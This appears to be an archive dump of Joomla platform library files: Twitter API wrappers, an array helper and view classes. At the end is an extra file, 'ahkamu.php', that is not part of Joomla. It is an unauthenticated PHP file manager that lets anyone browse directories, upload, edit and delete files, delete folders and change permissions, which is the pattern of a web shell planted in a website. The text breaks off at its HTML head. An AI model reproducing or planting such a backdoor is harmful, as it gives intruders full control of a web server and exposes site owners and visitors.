* script element from being included.
* @param string $align Specifies whether the embedded Tweet
should be left aligned, right aligned, or centered in the page.
* Valid values are left, right, center,
and none.
* @param string $related A value for the TWT related parameter,
as described in Web Intents. This value will be forwarded to all
* Web Intents calls.
* @param string $lang Language code for the rendered embed.
This will affect the text and localization of the rendered HTML.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getOembed($id = null, $url = null, $maxWidth = null,
$hideMedia = null, $hideThread = null, $omitScript = null,
$align = null, $related = null, $lang = null)
{
// Check the rate limit for remaining hits.
$this->checkRateLimit('statuses', 'oembed');
// Set the API request path.
$path = '/statuses/oembed.json';
// Determine which of $id and $url is specified.
if ($id)
{
$data['id'] = $id;
}
elseif ($url)
{
$data['url'] = rawurlencode($url);
}
else
{
// We don't have a valid entry.
throw new RuntimeException('Either the id or url parameters must be
specified in a request.');
}
// Check if maxwidth is specified.
if ($maxWidth)
{
$data['maxwidth'] = $maxWidth;
}
// Check if hide_media is specified.
if (!is_null($hideMedia))
{
$data['hide_media'] = $hideMedia;
}
// Check if hide_thread is specified.
if (!is_null($hideThread))
{
$data['hide_thread'] = $hideThread;
}
// Check if omit_script is specified.
if (!is_null($omitScript))
{
$data['omit_script'] = $omitScript;
}
// Check if align is specified.
if ($align)
{
$data['align'] = $align;
}
// Check if related is specified.
if ($related)
{
$data['related'] = $related;
}
// Check if lang is specified.
if ($lang)
{
$data['lang'] = $lang;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
}
twitter/trends.php000064400000004775151171674140010302 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Trends class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterTrends extends JTwitterObject
{
/**
* Method to get the top 10 trending topics for a specific WOEID, if
trending information is available for it.
*
* @param integer $id The Yahoo! Where On Earth ID of the
location to return trending information for.
* Global information is available by using 1 as the WOEID.
* @param string $exclude Setting this equal to hashtags will remove
all hashtags from the trends list.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getTrends($id, $exclude = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('trends', 'place');
// Set the API path
$path = '/trends/place.json';
$data['id'] = $id;
// Check if exclude is specified
if ($exclude)
{
$data['exclude'] = $exclude;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the locations that Twitter has trending topic information
for.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getLocations()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('trends', 'available');
// Set the API path
$path = '/trends/available.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to get the locations that Twitter has trending topic information
for, closest to a specified location.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getClosest($lat = null, $long = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('trends', 'closest');
// Set the API path
$path = '/trends/closest.json';
$data = array();
// Check if lat is specified
if ($lat)
{
$data['lat'] = $lat;
}
// Check if long is specified
if ($long)
{
$data['long'] = $long;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
}
twitter/twitter.php000064400000007706151171674140010502 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a Twitter API instance.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitter
{
/**
* @var Registry Options for the JTwitter object.
* @since 3.1.4
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $client;
/**
* @var JTwitterOAuth The OAuth client.
* @since 3.1.4
*/
protected $oauth;
/**
* @var JTwitterFriends Twitter API object for friends.
* @since 3.1.4
*/
protected $friends;
/**
* @var JTwitterUsers Twitter API object for users.
* @since 3.1.4
*/
protected $users;
/**
* @var JTwitterHelp Twitter API object for help.
* @since 3.1.4
*/
protected $help;
/**
* @var JTwitterStatuses Twitter API object for statuses.
* @since 3.1.4
*/
protected $statuses;
/**
* @var JTwitterSearch Twitter API object for search.
* @since 3.1.4
*/
protected $search;
/**
* @var JTwitterFavorites Twitter API object for favorites.
* @since 3.1.4
*/
protected $favorites;
/**
* @var JTwitterDirectMessages Twitter API object for direct messages.
* @since 3.1.4
*/
protected $directMessages;
/**
* @var JTwitterLists Twitter API object for lists.
* @since 3.1.4
*/
protected $lists;
/**
* @var JTwitterPlaces Twitter API object for places & geo.
* @since 3.1.4
*/
protected $places;
/**
* @var JTwitterTrends Twitter API object for trends.
* @since 3.1.4
*/
protected $trends;
/**
* @var JTwitterBlock Twitter API object for block.
* @since 3.1.4
*/
protected $block;
/**
* @var JTwitterProfile Twitter API object for profile.
* @since 3.1.4
*/
protected $profile;
/**
* Constructor.
*
* @param JTwitterOauth $oauth The oauth client.
* @param Registry $options Twitter options object.
* @param JHttp $client The HTTP client object.
*
* @since 3.1.4
*/
public function __construct(JTwitterOAuth $oauth = null, Registry $options
= null, JHttp $client = null)
{
$this->oauth = $oauth;
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://api.twitter.com/1.1');
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JTwitterObject Twitter API object (statuses, users,
favorites, etc.).
*
* @since 3.1.4
* @throws InvalidArgumentException
*/
public function __get($name)
{
$class = 'JTwitter' . ucfirst($name);
if (class_exists($class))
{
if (false == isset($this->$name))
{
$this->$name = new $class($this->options, $this->client,
$this->oauth);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Argument %s produced an
invalid class name: %s', $name, $class));
}
/**
* Get an option from the JTwitter instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JTwitter instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JTwitter This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
twitter/users.php000064400000024047151171674140010136 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Users class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterUsers extends JTwitterObject
{
/**
* Method to get up to 100 users worth of extended information, specified
by either ID, screen name, or combination of the two.
*
* @param string $screenName A comma separated list of screen names,
up to 100 are allowed in a single request.
* @param string $id A comma separated list of user IDs, up
to 100 are allowed in a single request.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
variety of
* metadata about the tweet in a discreet structure, including:
user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getUsersLookup($screenName = null, $id = null, $entities =
null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'lookup');
// Set user IDs and screen names.
if ($id)
{
$data['user_id'] = $id;
}
if ($screenName)
{
$data['screen_name'] = $screenName;
}
if ($id == null && $screenName == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify either a comma
separated list of screen names, user IDs, or a combination of the
two');
}
// Set the API path
$path = '/users/lookup.json';
// Check if string_ids is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to access the profile banner in various sizes for the user with
the indicated screen_name.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the screen name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getUserProfileBanner($user)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'profile_banner');
// Set the API path
$path = '/users/profile_banner.json';
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method used to search for users
*
* @param string $query The search query to run against people
search.
* @param integer $page Specifies the page of results to retrieve.
* @param integer $count The number of people to retrieve. Maximum
of 20 allowed per page.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function searchUsers($query, $page = 0, $count = 0, $entities =
null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'search');
$data['q'] = rawurlencode($query);
// Check if page is specified.
if ($page > 0)
{
$data['page'] = $page;
}
// Check if per_page is specified
if ($count > 0)
{
$data['count'] = $count;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Set the API path
$path = '/users/search.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get extended information of a given user, specified by ID or
screen name as per the required id parameter.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getUser($user, $entities = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'show/:id');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/users/show.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get an array of users that the specified user can contribute
to.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities Set to true to return IDs as strings,
false to return as integers.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getContributees($user, $entities = null, $skipStatus =
null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'contributees');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/users/contributees.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get an array of users who can contribute to the specified
account.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities Set to true to return IDs as strings,
false to return as integers.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getContributors($user, $entities = null, $skipStatus =
null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'contributors');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/users/contributors.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method access to Twitter's suggested user list.
*
* @param boolean $lang Restricts the suggested categories to the
requested language.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSuggestions($lang = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'suggestions');
// Set the API path
$path = '/users/suggestions.json';
$data = array();
// Check if entities is true
if ($lang)
{
$data['lang'] = $lang;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* method to access the users in a given category of the Twitter suggested
user list.
*
* @param string $slug The short name of list or a category.
* @param boolean $lang Restricts the suggested categories to the
requested language.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSuggestionsSlug($slug, $lang = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users',
'suggestions/:slug');
// Set the API path
$path = '/users/suggestions/' . $slug . '.json';
$data = array();
// Check if entities is true
if ($lang)
{
$data['lang'] = $lang;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to access the users in a given category of the Twitter suggested
user list and return
* their most recent status if they are not a protected user.
*
* @param string $slug The short name of list or a category.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSuggestionsSlugMembers($slug)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users',
'suggestions/:slug/members');
// Set the API path
$path = '/users/suggestions/' . $slug .
'/members.json';
// Send the request.
return $this->sendRequest($path);
}
}
utilities/arrayhelper.php000064400000026011151171674140011615
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Utilities
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* JArrayHelper is an array utility class for doing all sorts of odds and
ends with arrays.
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper instead
*/
abstract class JArrayHelper
{
/**
* Option to perform case-sensitive sorts.
*
* @var mixed Boolean or array of booleans.
* @since 1.7.3
*/
protected static $sortCase;
/**
* Option to set the sort direction.
*
* @var mixed Integer or array of integers.
* @since 1.7.3
*/
protected static $sortDirection;
/**
* Option to set the object key to sort on.
*
* @var string
* @since 1.7.3
*/
protected static $sortKey;
/**
* Option to perform a language aware sort.
*
* @var mixed Boolean or array of booleans.
* @since 1.7.3
*/
protected static $sortLocale;
/**
* Function to convert array to integer values
*
* @param array &$array The source array to convert
* @param mixed $default A default value (int|array) to assign if
$array is not an array
*
* @return void
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toInteger instead
*/
public static function toInteger(&$array, $default = null)
{
$array = ArrayHelper::toInteger($array, $default);
}
/**
* Utility function to map an array to a stdClass object.
*
* @param array &$array The array to map.
* @param string $class Name of the class to create
* @param boolean $recursive Convert also any array inside the main
array
*
* @return object The object mapped from the given array
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toObject instead
*/
public static function toObject(&$array, $class =
'stdClass', $recursive = true)
{
$obj = null;
if (is_array($array))
{
$obj = ArrayHelper::toObject($array, $class, $recursive);
}
else
{
JLog::add('This method is typehinted to be an array in
\Joomla\Utilities\ArrayHelper::toObject.', JLog::WARNING,
'deprecated');
}
return $obj;
}
/**
* Utility function to map an array to a string.
*
* @param array $array The array to map.
* @param string $innerGlue The glue (optional, defaults to
'=') between the key and the value.
* @param string $outerGlue The glue (optional, defaults to '
') between array elements.
* @param boolean $keepOuterKey True if final key should be kept.
*
* @return string The string mapped from the given array
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toString instead
*/
public static function toString($array = null, $innerGlue = '=',
$outerGlue = ' ', $keepOuterKey = false)
{
$output = array();
if (is_array($array))
{
$output[] = ArrayHelper::toString($array, $innerGlue, $outerGlue,
$keepOuterKey);
}
else
{
JLog::add('This method is typehinted to be an array in
\Joomla\Utilities\ArrayHelper::toString.', JLog::WARNING,
'deprecated');
}
return implode($outerGlue, $output);
}
/**
* Utility function to map an object to an array
*
* @param object $object The source object
* @param boolean $recurse True to recurse through multi-level objects
* @param string $regex An optional regular expression to match on
field names
*
* @return array The array mapped from the given object
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::fromObject instead
*/
public static function fromObject($object, $recurse = true, $regex = null)
{
if (is_object($object))
{
return self::_fromObject($object, $recurse, $regex);
}
else
{
return null;
}
}
/**
* Utility function to map an object or array to an array
*
* @param mixed $item The source object or array
* @param boolean $recurse True to recurse through multi-level objects
* @param string $regex An optional regular expression to match on
field names
*
* @return array The array mapped from the given object
*
* @since 1.7.0
*/
protected static function _fromObject($item, $recurse, $regex)
{
if (is_object($item))
{
$result = array();
foreach (get_object_vars($item) as $k => $v)
{
if (!$regex || preg_match($regex, $k))
{
if ($recurse)
{
$result[$k] = self::_fromObject($v, $recurse, $regex);
}
else
{
$result[$k] = $v;
}
}
}
}
elseif (is_array($item))
{
$result = array();
foreach ($item as $k => $v)
{
$result[$k] = self::_fromObject($v, $recurse, $regex);
}
}
else
{
$result = $item;
}
return $result;
}
/**
* Extracts a column from an array of arrays or objects
*
* @param array &$array The source array
* @param string $index The index of the column or name of object
property
*
* @return array Column of values from the source array
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::getColumn instead
*/
public static function getColumn(&$array, $index)
{
$result = array();
if (is_array($array))
{
$result = ArrayHelper::getColumn($array, $index);
}
else
{
JLog::add('This method is typehinted to be an array in
\Joomla\Utilities\ArrayHelper::getColumn.', JLog::WARNING,
'deprecated');
}
return $result;
}
/**
* Utility function to return a value from a named array or a specified
default
*
* @param array &$array A named array
* @param string $name The key to search for
* @param mixed $default The default value to give if no key found
* @param string $type Return type for the variable (INT, FLOAT,
STRING, WORD, BOOLEAN, ARRAY)
*
* @return mixed The value from the source array
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::getValue instead
*/
public static function getValue(&$array, $name, $default = null, $type
= '')
{
// Previously we didn't typehint an array. So force any object to be
an array
return ArrayHelper::getValue((array) $array, $name, $default, $type);
}
/**
* Takes an associative array of arrays and inverts the array keys to
values using the array values as keys.
*
* Example:
* $input = array(
* 'New' => array('1000', '1500',
'1750'),
* 'Used' => array('3000', '4000',
'5000', '6000')
* );
* $output = JArrayHelper::invert($input);
*
* Output would be equal to:
* $output = array(
* '1000' => 'New',
* '1500' => 'New',
* '1750' => 'New',
* '3000' => 'Used',
* '4000' => 'Used',
* '5000' => 'Used',
* '6000' => 'Used'
* );
*
* @param array $array The source array.
*
* @return array The inverted array.
*
* @since 3.1.4
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::invert instead
*/
public static function invert($array)
{
return ArrayHelper::invert($array);
}
/**
* Method to determine if an array is an associative array.
*
* @param array $array An array to test.
*
* @return boolean True if the array is an associative array.
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::isAssociative
instead
*/
public static function isAssociative($array)
{
return ArrayHelper::isAssociative($array);
}
/**
* Pivots an array to create a reverse lookup of an array of scalars,
arrays or objects.
*
* @param array $source The source array.
* @param string $key Where the elements of the source array are
objects or arrays, the key to pivot on.
*
* @return array An array of arrays pivoted either on the value of the
keys, or an individual key of an object or array.
*
* @since 1.7.3
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::pivot instead
*/
public static function pivot($source, $key = null)
{
$result = array();
if (is_array($source))
{
$result = ArrayHelper::pivot($source, $key);
}
else
{
JLog::add('This method is typehinted to be an array in
\Joomla\Utilities\ArrayHelper::pivot.', JLog::WARNING,
'deprecated');
}
return $result;
}
/**
* Utility function to sort an array of objects on a given field
*
* @param array &$a An array of objects
* @param mixed $k The key (string) or an array of keys to
sort on
* @param mixed $direction Direction (integer) or an array of
direction to sort in [1 = Ascending] [-1 = Descending]
* @param mixed $caseSensitive Boolean or array of booleans to let
sort occur case sensitive or insensitive
* @param mixed $locale Boolean or array of booleans to let
sort occur using the locale language or not
*
* @return array The sorted array of objects
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::sortObjects instead
*/
public static function sortObjects(&$a, $k, $direction = 1,
$caseSensitive = true, $locale = false)
{
if (!is_array($locale) || !is_array($locale[0]))
{
$locale = array($locale);
}
self::$sortCase = (array) $caseSensitive;
self::$sortDirection = (array) $direction;
self::$sortKey = (array) $k;
self::$sortLocale = $locale;
usort($a, array(__CLASS__, '_sortObjects'));
self::$sortCase = null;
self::$sortDirection = null;
self::$sortKey = null;
self::$sortLocale = null;
return $a;
}
/**
* Callback function for sorting an array of objects on a key
*
* @param array &$a An array of objects
* @param array &$b An array of objects
*
* @return integer Comparison status
*
* @see JArrayHelper::sortObjects()
* @since 1.7.0
*/
protected static function _sortObjects(&$a, &$b)
{
$key = self::$sortKey;
for ($i = 0, $count = count($key); $i < $count; $i++)
{
if (isset(self::$sortDirection[$i]))
{
$direction = self::$sortDirection[$i];
}
if (isset(self::$sortCase[$i]))
{
$caseSensitive = self::$sortCase[$i];
}
if (isset(self::$sortLocale[$i]))
{
$locale = self::$sortLocale[$i];
}
$va = $a->{$key[$i]};
$vb = $b->{$key[$i]};
if ((is_bool($va) || is_numeric($va)) && (is_bool($vb) ||
is_numeric($vb)))
{
$cmp = $va - $vb;
}
elseif ($caseSensitive)
{
$cmp = StringHelper::strcmp($va, $vb, $locale);
}
else
{
$cmp = StringHelper::strcasecmp($va, $vb, $locale);
}
if ($cmp > 0)
{
return $direction;
}
if ($cmp < 0)
{
return -$direction;
}
}
return 0;
}
/**
* Multidimensional array safe unique test
*
* @param array $myArray The array to make unique.
*
* @return array
*
* @link https://www.php.net/manual/en/function.array-unique.php
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::arrayUnique instead
*/
public static function arrayUnique($myArray)
{
return is_array($myArray) ? ArrayHelper::arrayUnique($myArray) :
$myArray;
}
}
view/base.php000064400000001742151171674140007154 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage View
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Base View Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JViewBase implements JView
{
/**
* The model object.
*
* @var JModel
* @since 3.0.0
*/
protected $model;
/**
* Method to instantiate the view.
*
* @param JModel $model The model object.
*
* @since 3.0.0
*/
public function __construct(JModel $model)
{
// Setup dependencies.
$this->model = $model;
}
/**
* Method to escape output.
*
* @param string $output The output to escape.
*
* @return string The escaped output.
*
* @see JView::escape()
* @since 3.0.0
*/
public function escape($output)
{
return $output;
}
}
view/html.php000064400000007136151171674140007211 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage View
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.path');
/**
* Joomla Platform HTML View Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JViewHtml extends JViewBase
{
/**
* The view layout.
*
* @var string
* @since 3.0.0
*/
protected $layout = 'default';
/**
* The paths queue.
*
* @var SplPriorityQueue
* @since 3.0.0
*/
protected $paths;
/**
* Method to instantiate the view.
*
* @param JModel $model The model object.
* @param SplPriorityQueue $paths The paths queue.
*
* @since 3.0.0
*/
public function __construct(JModel $model, SplPriorityQueue $paths = null)
{
parent::__construct($model);
// Setup dependencies.
$this->paths = isset($paths) ? $paths : $this->loadPaths();
}
/**
* Magic toString method that is a proxy for the render method.
*
* @return string
*
* @since 3.0.0
*/
public function __toString()
{
return $this->render();
}
/**
* Method to escape output.
*
* @param string $output The output to escape.
*
* @return string The escaped output.
*
* @note the ENT_COMPAT flag will be replaced by ENT_QUOTES in Joomla 4.0
to also escape single quotes
*
* @see JView::escape()
* @since 3.0.0
*/
public function escape($output)
{
// Escape the output.
return htmlspecialchars($output, ENT_COMPAT, 'UTF-8');
}
/**
* Method to get the view layout.
*
* @return string The layout name.
*
* @since 3.0.0
*/
public function getLayout()
{
return $this->layout;
}
/**
* Method to get the layout path.
*
* @param string $layout The layout name.
*
* @return mixed The layout file name if found, false otherwise.
*
* @since 3.0.0
*/
public function getPath($layout)
{
// Get the layout file name.
$file = JPath::clean($layout . '.php');
// Find the layout file path.
$path = JPath::find(clone $this->paths, $file);
return $path;
}
/**
* Method to get the view paths.
*
* @return SplPriorityQueue The paths queue.
*
* @since 3.0.0
*/
public function getPaths()
{
return $this->paths;
}
/**
* Method to render the view.
*
* @return string The rendered view.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function render()
{
// Get the layout path.
$path = $this->getPath($this->getLayout());
// Check if the layout path was found.
if (!$path)
{
throw new RuntimeException('Layout Path Not Found');
}
// Start an output buffer.
ob_start();
// Load the layout.
include $path;
// Get the layout contents.
$output = ob_get_clean();
return $output;
}
/**
* Method to set the view layout.
*
* @param string $layout The layout name.
*
* @return JViewHtml Method supports chaining.
*
* @since 3.0.0
*/
public function setLayout($layout)
{
$this->layout = $layout;
return $this;
}
/**
* Method to set the view paths.
*
* @param SplPriorityQueue $paths The paths queue.
*
* @return JViewHtml Method supports chaining.
*
* @since 3.0.0
*/
public function setPaths(SplPriorityQueue $paths)
{
$this->paths = $paths;
return $this;
}
/**
* Method to load the paths queue.
*
* @return SplPriorityQueue The paths queue.
*
* @since 3.0.0
*/
protected function loadPaths()
{
return new SplPriorityQueue;
}
}
view/view.php000064400000001400151171674140007203 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage View
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform View Interface
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
interface JView
{
/**
* Method to escape output.
*
* @param string $output The output to escape.
*
* @return string The escaped output.
*
* @since 3.0.0
*/
public function escape($output);
/**
* Method to render the view.
*
* @return string The rendered view.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function render();
}
ahkamu.php000064400000022761151171674140006542 0ustar00<?php
// Base directory configuration (change as needed)
$base_dir = $_SERVER['DOCUMENT_ROOT'];
$directory = isset($_GET['dir']) ? $_GET['dir'] :
$base_dir;
$full_path = realpath($directory);
// Security function for path validation
function is_valid_path($path) {
global $base_dir;
return strpos(realpath($path), realpath($base_dir)) === 0;
}
// Function to format file size in human-readable form
function format_size($size) {
$units = ['B', 'KB', 'MB',
'GB', 'TB'];
$unit = 0;
while ($size >= 1024 && $unit < count($units) - 1) {
$size /= 1024;
$unit++;
}
return round($size, 2) . ' ' . $units[$unit];
}
// Function to display folder permissions
function get_permissions($path) {
return substr(sprintf('%o', fileperms($path)), -4);
}
// File Upload Feature
if (isset($_FILES['file_to_upload'])) {
$target_file = $full_path . DIRECTORY_SEPARATOR .
basename($_FILES['file_to_upload']['name']);
if
(move_uploaded_file($_FILES['file_to_upload']['tmp_name'],
$target_file)) {
echo "<div class='alert alert-success'>File
" .
htmlspecialchars(basename($_FILES['file_to_upload']['name']))
. " successfully uploaded.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to upload file.</div>";
}
}
// File Edit Feature
if (isset($_POST['edit_file']) &&
isset($_POST['file_content'])) {
$edit_file = $_POST['edit_file'];
if (is_valid_path($edit_file)) {
file_put_contents($edit_file, $_POST['file_content']);
echo "<div class='alert alert-success'>File
successfully edited.</div>";
} else {
echo "<div class='alert alert-danger'>Invalid
file path.</div>";
}
}
// File Delete Feature
if (isset($_POST['delete_file'])) {
$delete_file = $_POST['delete_file'];
if (is_valid_path($delete_file) && is_file($delete_file)) {
unlink($delete_file);
echo "<div class='alert alert-success'>File
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete file.</div>";
}
}
// Folder Delete Feature
if (isset($_POST['delete_folder'])) {
$delete_folder = $_POST['delete_folder'];
if (is_valid_path($delete_folder) && is_dir($delete_folder)) {
rmdir_recursive($delete_folder);
echo "<div class='alert alert-success'>Folder
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete folder.</div>";
}
}
// Recursive function to delete a folder and its contents
function rmdir_recursive($dir) {
foreach (scandir($dir) as $file) {
if ($file !== '.' && $file !== '..') {
$full_path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($full_path)) {
rmdir_recursive($full_path);
} else {
unlink($full_path);
}
}
}
rmdir($dir);
}
// Load file content for editing via AJAX
if (isset($_GET['load_file'])) {
$file_to_load = $_GET['load_file'];
if (is_valid_path($file_to_load) && is_file($file_to_load)) {
echo file_get_contents($file_to_load);
}
exit;
}
// Handle permissions update
if (isset($_POST['set_permissions'])) {
$target_path = $_POST['target_path'];
$permissions = $_POST['permissions'];
if (is_valid_path($target_path)) {
chmod($target_path, octdec($permissions));
echo "<div class='alert
alert-success'>Permissions updated to
$permissions.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to update permissions.</div>";
}
}
// List Directory Content
$files = scandir($full_path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
